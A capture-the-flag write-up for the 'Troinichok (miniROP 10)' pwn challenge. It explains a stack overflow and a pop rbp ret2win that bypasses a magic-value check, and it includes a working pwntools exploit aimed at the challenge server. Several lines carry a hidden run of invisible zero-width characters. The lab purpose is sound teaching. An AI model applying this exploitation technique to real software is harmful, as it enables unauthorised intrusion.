← Back to Writeups
CUSTOMEasypwn

Troinichok (miniROP 10)

XESXOR9/2/20264 min read
#pwn#custom#easy#check_bypass_jump_past_cmp#frame_pointer_control#mid_instruction_gadget#pop_rbp_gadget#ret2win#stack_buffer_overflow

Troinichok (miniROP 10)

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: check_bypass_jump_past_cmp, frame_pointer_control, mid_instruction_gadget, pop_rbp_gadget, ret2win, stack_buffer_overflow

Summary

Task: non-PIE x86-64 ELF with an fgets stack overflow (0x100 into a 0x70 buffer) and a leet==0x539 magic-value gate guarding an open("flag")/read/write win. Solution: bypass the gate entirely by ret2win'ing past the cmp into the win body at 0x4011b5, first using a pop rbp; ret gadget to set a writable .bss frame pointer so the [rbp-0x110] read/write buffer is valid.

Troinichok (miniROP 10) — pwn_spbctf

Description

Почти победа. Опять тренимся перетирать адрес возврата!

English: "Almost a win. Again we practise overwriting the return address!"

Remote pwn served at nc 109.233.56.90 11623 (pwn.spbctf.ru). A 64-bit x86-64 ELF troinichok is given: NON-PIE (base 0x400000), NX enabled, no stack canary, Partial RELRO. The goal is to print the relative flag file present in the remote CWD.

Analysis

Relevant functions:

  • inc_leet @ 0x401182 — leet += edi (32-bit add to a global leet @ 0x404060).
  • almost_win @ 0x40119d — if (leet == 0x539) { open("flag",0); read(fd, buf@rbp-0x110, 0x100); write(1, buf, n); close(fd); }. The filename string "flag" @ 0x402004 is a relative path.
  • vuln @ 0x401211 — sets [rbp-4] = 0x2a, then fgets(buf@rbp-0x70, 0x100, stdin), then calls inc_leet([rbp-4]).
  • main @ 0x401245. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The bug: fgets reads 0x100 bytes into a buffer at rbp-0x70 — a classic stack overflow. Offset from buf to the saved return address is 0x78 (buf @ rbp-0x70, saved RIP @ rbp+8 → 0x70 + 8). RIP control was verified by returning to 0x4011b5 with a 0x78-byte pad, which changed the crash to "Bus error" (a deref fault inside the win body) instead of a plain "Segmentation fault" — proving exact control of the return address.

The subtle gotcha (teaching point)

The "intended" idea is to make leet == 0x539 and reach almost_win. But the counter variable [rbp-4] that vuln feeds into inc_leet lies at buffer offset 0x6c — inside the 0x100 overflow region. So fgets clobbers [rbp-4] with attacker bytes, and vuln's own inc_leet([rbp-4]) call uses your bytes rather than the preset 0x2a. If you naively fill with 'A', then inc_leet(0x41414141) makes leet = 0x41414141, never 0x539. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Two ways to win:

  • (a) Satisfy the gate. Place p32(0x539) at buffer offset 0x6c so vuln's inc_leet sets leet = 0x539, then return into almost_win.
  • (b) Bypass the gate (used here). Jump directly past the cmp leet,0x539 / jne into the win body at 0x4011b5. This is cleaner and more robust.

The catch for (b): the win body does lea rcx,[rbp-0x110] (read buffer) and lea rax,[rbp-0x110] (write buffer). With a garbage rbp the read faults (Bus error). So we must supply a valid, writable frame pointer before jumping into the body. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Gadgets (NON-PIE, fixed addresses)

  • pop rbp; ret @ 0x401169
  • ret @ 0x401016
  • pop rdi; ret @ 0x40132b (carved mid-instruction from a csu pop r15; ret byte sequence — not needed for the final solve but available)

Solution

ret2win past the gate, with frame-pointer control:

  1. Pad 0x78 bytes to reach the saved RIP.
  2. pop rbp; ret (0x401169) → set rbp to a writable .bss address (0x404080 + 0x800) so [rbp-0x110] is a valid read/write buffer.
  3. Return into the win body at 0x4011b5 (after the cmp/jne), which open("flag") / read / write(1, ...) dumps the flag to stdout. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍
python
#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'; context.log_level = 'info'
HOST, PORT = '109.233.56.90', 11623
# vuln: fgets(buf[rbp-0x70], 0x100) overflow. offset to ret = 0x78.
# almost_win @0x40119d: if leet==0x539 -> open("flag")/read/write to stdout.
# Bypass the leet check: jump to the open body (0x4011b5) with a valid rbp
# (so lea rcx,[rbp-0x110] / read buffer is writable). Set rbp via pop rbp gadget.
POP_RBP = 0x401169
BODY    = 0x4011b5
rbp_val = 0x404080 + 0x800   # writable .bss
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

payload = b'A' * 0x78 + flat(POP_RBP, rbp_val, BODY)

io = remote(HOST, PORT)
io.send(payload + b'\n')
import time; time.sleep(1.0)
data = io.recvrepeat(2)
print(data.decode(errors='replace'))

Output: spbctf{...}\nSegmentation fault\n — the flag is printed before the inevitable post-write crash. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍